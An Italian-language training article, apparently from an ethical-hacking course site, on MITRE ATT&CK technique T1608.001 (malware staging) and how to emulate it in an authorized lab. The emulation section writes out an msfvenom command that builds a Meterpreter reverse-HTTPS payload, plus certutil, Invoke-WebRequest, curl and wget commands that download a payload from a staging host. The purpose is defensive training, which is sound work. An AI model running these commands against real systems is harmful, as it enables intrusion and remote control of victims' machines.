Upload Malware: Stage Capabilities via Upload Malware (T1608.001)

Con Upload Malware gli avversari caricano software malevolo su infrastruttura di terze parti o sotto il proprio controllo, rendendolo raggiungibile durante l'operazione. I payload possono essere dropper, backdoor, tool post-compromissione o installer trojanizzati, pronti a essere scaricati dalla rete vittima per abilitare fasi successive come l'Ingress Tool Transfer o l'esecuzione da parte dell'utente.

La tecnica appartiene alla tattica TA0042 (Resource Development), la fase in cui l'attaccante prepara le risorse a supporto dell'intero ciclo d'attacco. Si colloca a monte della kill chain, prima dell'accesso iniziale: il malware viene collocato su infrastruttura acquisita o compromessa, su servizi cloud e file-sharing (Dropbox, Google Drive, OneDrive, Amazon S3), su repository e package library (GitHub, PyPI, NPM, Docker Hub), o su sistemi resistenti ai takedown come IPFS e smart contract su blockchain.

La dimensione del fenomeno è rilevante: i dati MITRE ATT&CK associano a questa tecnica 28 gruppi, 1 software, 8 campagne e 1 mitigazione. L'impatto operativo è duplice. Da un lato, lo staging su piattaforme legittime e reputate riduce i sospetti e aggira i filtri reputazionali; dall'altro, l'uso di typosquatting e mascheramento su marketplace di software aumenta la probabilità che una vittima installi per errore un binario backdoored. Trattandosi di attività condotta al di fuori del perimetro difensivo, il contrasto passa più dalla detection delle fasi successive che da controlli preventivi diretti.

In un contesto di red team autorizzato, simulare Upload Malware significa ricostruire in laboratorio la catena di staging che precede la consegna, senza mai pubblicare artefatti reali su servizi di terzi. L'obiettivo è validare la capacità del blue team di rilevare download e esecuzione, non contaminare piattaforme pubbliche.

Il primo passo è predisporre un web server di staging controllato nel range del lab. Un semplice server HTTP con python3 -m http.server 8080 espone i payload su un host interno; in alternativa un container Nginx replica il comportamento di una open directory, tecnica osservata in FIN7. Per generare payload di test si usa msfvenom (open source), parte del Metasploit Framework, con una catena tipica del tipo msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f exe -o payload.exe.

Per riprodurre lo staging su servizi cloud e file-sharing — pattern usato da APT32, Mustang Panda e Kimsuky con Dropbox, Google Drive e OneDrive — mantieni tutto entro tenant di laboratorio dedicati. La consegna a valle si emula con Ingress Tool Transfer verso la macchina target: su Windows certutil -urlcache -split -f http:///payload.exe C:\Users\Public\p.exe oppure Invoke-WebRequest -Uri -OutFile p.exe; su Linux curl -s -o /tmp/p o wget.

Una catena più sofisticata replica lo staging su repository e package library. TeamTNT ha caricato immagini Docker backdoored su Docker Hub, LazyScripter e Contagious Interview hanno ospitato RAT open source su GitHub, mentre il malware Shai-Hulud ha pubblicato tarball .tgz malevoli da account NPM compromessi. In lab puoi ospitare un registry privato (Docker Registry, open source) o un indice PyPI locale con devpi (open source) e verificare se i controlli di supply chain intercettano pacchetti typosquatted.

Strumenti utili per l'esercizio:

  • Metasploit Framework (open source) — generazione payload e handler C2
  • Cobalt Strike (a pagamento) — beacon staging, come nelle operazioni BlackByte
  • Sliver (open source) — framework C2 alternativo per implant multipiattaforma
  • Docker Registry / devpi (open source) — simulazione di package repository interni

Documenta ogni URL di staging e ogni hash generato, così da fornire al blue team indicatori verificabili e chiudere il ciclo purple team.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.